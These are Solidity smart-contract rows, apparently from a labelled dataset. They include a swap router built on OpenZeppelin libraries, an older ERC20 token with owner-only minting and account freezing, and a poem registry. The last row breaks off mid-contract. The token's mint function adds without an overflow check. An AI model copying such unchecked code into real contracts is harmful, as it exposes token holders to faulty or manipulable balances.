* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/utils/Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: original_contracts/ITokenTransferProxy.sol
pragma solidity 0.7.5;
interface ITokenTransferProxy {
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
external;
}
// File: original_contracts/lib/Utils.sol
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
interface IERC20Permit {
function permit(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
}
library Utils {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address constant ETH_ADDRESS = address(
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE
);
uint256 constant MAX_UINT = type(uint256).max;
/**
* @param fromToken Address of the source token
* @param fromAmount Amount of source tokens to be swapped
* @param toAmount Minimum destination token amount expected out of this swap
* @param expectedAmount Expected amount of destination tokens without slippage
* @param beneficiary Beneficiary address
* 0 then 100% will be transferred to beneficiary. Pass 10000 for 100%
* @param path Route to be taken for this swap to take place
*/
struct SellData {
address fromToken;
uint256 fromAmount;
uint256 toAmount;
uint256 expectedAmount;
address payable beneficiary;
Utils.Path[] path;
address payable partner;
uint256 feePercent;
bytes permit;
uint256 deadline;
bytes16 uuid;
}
struct MegaSwapSellData {
address fromToken;
uint256 fromAmount;
uint256 toAmount;
uint256 expectedAmount;
address payable beneficiary;
Utils.MegaSwapPath[] path;
address payable partner;
uint256 feePercent;
bytes permit;
uint256 deadline;
bytes16 uuid;
}
struct SimpleData {
address fromToken;
address toToken;
uint256 fromAmount;
uint256 toAmount;
uint256 expectedAmount;
address[] callees;
bytes exchangeData;
uint256[] startIndexes;
uint256[] values;
address payable beneficiary;
address payable partner;
uint256 feePercent;
bytes permit;
uint256 deadline;
bytes16 uuid;
}
struct Adapter {
address payable adapter;
uint256 percent;
uint256 networkFee;
Route[] route;
}
struct Route {
uint256 index;//Adapter at which index needs to be used
address targetExchange;
uint percent;
bytes payload;
uint256 networkFee;//Network fee is associated with 0xv3 trades
}
struct MegaSwapPath {
uint256 fromAmountPercent;
Path[] path;
}
struct Path {
address to;
uint256 totalNetworkFee;//Network fee is associated with 0xv3 trades
Adapter[] adapters;
}
function ethAddress() internal pure returns (address) {return ETH_ADDRESS;}
function maxUint() internal pure returns (uint256) {return MAX_UINT;}
function approve(
address addressToApprove,
address token,
uint256 amount
) internal {
if (token != ETH_ADDRESS) {
IERC20 _token = IERC20(token);
uint allowance = _token.allowance(address(this), addressToApprove);
if (allowance < amount) {
_token.safeApprove(addressToApprove, 0);
_token.safeIncreaseAllowance(addressToApprove, MAX_UINT);
}
}
}
function transferTokens(
address token,
address payable destination,
uint256 amount
)
internal
{
if (amount > 0) {
if (token == ETH_ADDRESS) {
(bool result, ) = destination.call{value: amount, gas: 10000}("");
require(result, "Failed to transfer Ether");
}
else {
IERC20(token).safeTransfer(destination, amount);
}
}
}
function tokenBalance(
address token,
address account
)
internal
view
returns (uint256)
{
if (token == ETH_ADDRESS) {
return account.balance;
} else {
return IERC20(token).balanceOf(account);
}
}
function permit(
address token,
bytes memory permit
)
internal
{
if (permit.length == 32 * 7) {
(bool success,) = token.call(abi.encodePacked(IERC20Permit.permit.selector, permit));
require(success, "Permit failed");
}
}
}
// File: original_contracts/routers/IRouter.sol
pragma solidity 0.7.5;
interface IRouter {
/**
* @dev Certain routers/exchanges needs to be initialized.
* This method will be called from Augustus
*/
function initialize(bytes calldata data) external;
/**
* @dev Returns unique identifier for the router
*/
function getKey() external pure returns(bytes32);
event Swapped(
bytes16 uuid,
address initiator,
address indexed beneficiary,
address indexed srcToken,
address indexed destToken,
uint256 srcAmount,
uint256 receivedAmount,
uint256 expectedAmount
);
event Bought(
bytes16 uuid,
address initiator,
address indexed beneficiary,
address indexed srcToken,
address indexed destToken,
uint256 srcAmount,
uint256 receivedAmount
);
event FeeTaken(
uint256 fee,
uint256 partnerShare,
uint256 paraswapShare
);
}
// File: original_contracts/lib/weth/IWETH.sol
pragma solidity 0.7.5;
abstract contract IWETH is IERC20 {
function deposit() external virtual payable;
function withdraw(uint256 amount) external virtual;
}
// File: original_contracts/AugustusStorage.sol
pragma solidity 0.7.5;
contract AugustusStorage {
struct FeeStructure {
uint256 partnerShare;
bool noPositiveSlippage;
bool positiveSlippageToUser;
uint16 feePercent;
string partnerId;
bytes data;
}
ITokenTransferProxy internal tokenTransferProxy;
address payable internal feeWallet;
mapping(address => FeeStructure) internal registeredPartners;
mapping (bytes4 => address) internal selectorVsRouter;
mapping (bytes32 => bool) internal adapterInitialized;
mapping (bytes32 => bytes) internal adapterVsData;
mapping (bytes32 => bytes) internal routerData;
mapping (bytes32 => bool) internal routerInitialized;
bytes32 public constant WHITELISTED_ROLE = keccak256("WHITELISTED_ROLE");
bytes32 public constant ROUTER_ROLE = keccak256("ROUTER_ROLE");
}
// File: original_contracts/fee/FeeModel.sol
pragma solidity 0.7.5;
contract FeeModel is AugustusStorage {
using SafeMath for uint256;
uint256 public immutable partnerSharePercent;
uint256 public immutable maxFeePercent;
constructor(
uint256 _partnerSharePercent,
uint256 _maxFeePercent
)
public
{
partnerSharePercent = _partnerSharePercent;
maxFeePercent = _maxFeePercent;
}
function takeFeeAndTransferTokens(
address toToken,
uint256 expectedAmount,
uint256 receivedAmount,
address payable beneficiary,
address payable partner,
uint256 feePercent
)
internal
{
uint256 remainingAmount = 0;
uint256 fee = 0;
if ( feePercent > 0 ) {
FeeStructure memory feeStructure = registeredPartners[partner];
if (feeStructure.partnerShare > 0) {
fee = _takeFee(
feePercent > maxFeePercent ? maxFeePercent : feePercent,
toToken,
receivedAmount,
expectedAmount,
feeStructure.partnerShare,
feeStructure.noPositiveSlippage,
feeStructure.positiveSlippageToUser,
partner
);
}
else if (partner != address(0)) {
fee = _takeFee(
feePercent > maxFeePercent ? maxFeePercent : feePercent,
toToken,
receivedAmount,
expectedAmount,
partnerSharePercent,
false,
true,
partner
);
}
}
remainingAmount = receivedAmount.sub(fee);
//If there is a positive slippage and no partner fee then 50% goes to paraswap and 50% to the user
if ((remainingAmount > expectedAmount) && fee == 0) {
uint256 positiveSlippageShare = remainingAmount.sub(expectedAmount).div(2);
remainingAmount = remainingAmount.sub(positiveSlippageShare);
Utils.transferTokens(toToken, feeWallet, positiveSlippageShare);
}
Utils.transferTokens(toToken, beneficiary, remainingAmount);
}
function _takeFee(
uint256 feePercent,
address toToken,
uint256 receivedAmount,
uint256 expectedAmount,
uint256 partnerSharePercent,
bool noPositiveSlippage,
bool positiveSlippageToUser,
address payable partner
)
private
returns(uint256 fee)
{
uint256 partnerShare = 0;
uint256 paraswapShare = 0;
if (!noPositiveSlippage && feePercent <= 50 && receivedAmount > expectedAmount) {
uint256 halfPositiveSlippage = receivedAmount.sub(expectedAmount).div(2);
//Calculate total fee to be taken
fee = expectedAmount.mul(feePercent).div(10000);
//Calculate partner's share
partnerShare = fee.mul(partnerSharePercent).div(10000);
//All remaining fee is paraswap's share
paraswapShare = fee.sub(partnerShare);
paraswapShare = paraswapShare.add(halfPositiveSlippage);
fee = fee.add(halfPositiveSlippage);
if (!positiveSlippageToUser) {
partnerShare = partnerShare.add(halfPositiveSlippage);
fee = fee.add(halfPositiveSlippage);
}
}
else {
//Calculate total fee to be taken
fee = receivedAmount.mul(feePercent).div(10000);
//Calculate partner's share
partnerShare = fee.mul(partnerSharePercent).div(10000);
//All remaining fee is paraswap's share
paraswapShare = fee.sub(partnerShare);
}
Utils.transferTokens(toToken, partner, partnerShare);
Utils.transferTokens(toToken, feeWallet, paraswapShare);
return (fee);
}
}
// File: original_contracts/routers/ProtectedSimpleSwap.sol
pragma solidity 0.7.5;
contract ProtectedSimpleSwap is FeeModel, IRouter {
using SafeMath for uint256;
constructor(
uint256 _partnerSharePercent,
uint256 _maxFeePercent
)
FeeModel(
_partnerSharePercent,
_maxFeePercent
)
public
{
}
function initialize(bytes calldata data) override external {
revert("METHOD NOT IMPLEMENTED");
}
function getKey() override external pure returns(bytes32) {
return keccak256(abi.encodePacked("PROTECTED_SIMPLE_SWAP_ROUTER", "1.0.0"));
}
function protectedSimpleSwap(
Utils.SimpleData memory data
)
public
payable
returns (uint256 receivedAmount)
{
require(data.deadline >= block.timestamp, "Deadline breached");
address payable beneficiary = data.beneficiary == address(0) ? msg.sender : data.beneficiary;
receivedAmount = performSimpleSwap(
data.fromToken,
data.toToken,
data.fromAmount,
data.toAmount,
data.expectedAmount,
data.callees,
data.exchangeData,
data.startIndexes,
data.values,
beneficiary,
data.partner,
data.feePercent,
data.permit
);
retrieveTokens(data.fromToken);
emit Swapped(
data.uuid,
msg.sender,
beneficiary,
data.fromToken,
data.toToken,
data.fromAmount,
receivedAmount,
data.expectedAmount
);
return receivedAmount;
}
function protectedSimpleBuy(
Utils.SimpleData calldata data
)
external
payable
{
require(data.deadline >= block.timestamp, "Deadline breached");
address payable beneficiary = data.beneficiary == address(0) ? msg.sender : data.beneficiary;
uint receivedAmount = performSimpleSwap(
data.fromToken,
data.toToken,
data.fromAmount,
data.toAmount,
data.toAmount,//expected amount and to amount are same in case of buy
data.callees,
data.exchangeData,
data.startIndexes,
data.values,
beneficiary,
data.partner,
data.feePercent,
data.permit
);
retrieveTokens(data.fromToken);
emit Bought(
data.uuid,
msg.sender,
beneficiary,
data.fromToken,
data.toToken,
data.fromAmount,
receivedAmount
);
}
function performSimpleSwap(
address fromToken,
address toToken,
uint256 fromAmount,
uint256 toAmount,
uint256 expectedAmount,
address[] memory callees,
bytes memory exchangeData,
uint256[] memory startIndexes,
uint256[] memory values,
address payable beneficiary,
address payable partner,
uint256 feePercent,
bytes memory permit
)
private
returns (uint256 receivedAmount)
{
require(toAmount > 0, "toAmount is too low");
require(
callees.length + 1 == startIndexes.length,
"Start indexes must be 1 greater then number of callees"
);
//If source token is not ETH than transfer required amount of tokens
//from sender to this contract
transferTokensFromProxy(fromToken, fromAmount, permit);
for (uint256 i = 0; i < callees.length; i++) {
require(
callees[i] != address(tokenTransferProxy),
"Can not call TokenTransferProxy Contract"
);
{
uint256 dataOffset = startIndexes[i];
bytes32 selector;
assembly {
selector := mload(add(exchangeData, add(dataOffset, 32)))
}
require(
bytes4(selector) != IERC20.transferFrom.selector,
"transferFrom not allowed for externalCall"
);
}
bool result = externalCall(
callees[i], //destination
values[i], //value to send
startIndexes[i], // start index of call data
startIndexes[i + 1].sub(startIndexes[i]), // length of calldata
exchangeData// total calldata
);
require(result, "External call failed");
}
receivedAmount = Utils.tokenBalance(
toToken,
address(this)
);
require(
receivedAmount >= toAmount,
"Received amount of tokens are less then expected"
);
takeFeeAndTransferTokens(
toToken,
expectedAmount,
receivedAmount,
beneficiary,
partner,
feePercent
);
return receivedAmount;
}
function transferTokensFromProxy(
address token,
uint256 amount,
bytes memory permit
)
private
{
if (token != Utils.ethAddress()) {
Utils.permit(token, permit);
tokenTransferProxy.transferFrom(
token,
msg.sender,
address(this),
amount
);
}
}
/**
* @dev Source take from GNOSIS MultiSigWallet
* @dev https://github.com/gnosis/MultiSigWallet/blob/master/contracts/MultiSigWallet.sol
*/
function externalCall(
address destination,
uint256 value,
uint256 dataOffset,
uint dataLength,
bytes memory data
)
private
returns (bool)
{
bool result = false;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
gas(),
destination,
value,
add(d, dataOffset),
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
function retrieveTokens(address token) private {
uint256 balance = Utils.tokenBalance(token, address(this));
Utils.transferTokens(token, msg.sender, balance);
}
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pragma solidity ^0.4.24;
contract owned {
address public owner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract ERC20 is owned {
// Public variables of the token
string public name = "Thabix";
string public symbol = "TBX";
uint8 public decimals = 18;
uint256 public totalSupply = 6000000 * 10 ** uint256(decimals);
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor (address _owner) public {
owner = _owner;
balanceOf[owner] = totalSupply;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint256 _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Check if sender is frozen
require(!frozenAccount[_from]);
// Check if recipient is frozen
require(!frozenAccount[_to]);
// Save this for an assertion in the future
uint256 previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(this, target, mintedAmount);
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-22
*/
pragma solidity 0.8.12;
/**
@title Poem Seed Registry Contract
*/
contract SeedPoem {
/// @notice Mapping from nft id to the poem.
mapping(uint => string) poem;
/**
* @notice Constructor
* @param _poems Array of poems to linked with the nft's
*/
constructor(string[] memory _poems) {
for(uint i = 0; i < _poems.length; i++) {
poem[i] = _poems[i];
}
}
/**
* @notice Retreiving the poem by id
* @param _id Nft id
*/
function getSeedPoemById(uint _id) external view returns(string memory) {
return poem[_id];
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-07-16
*/
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
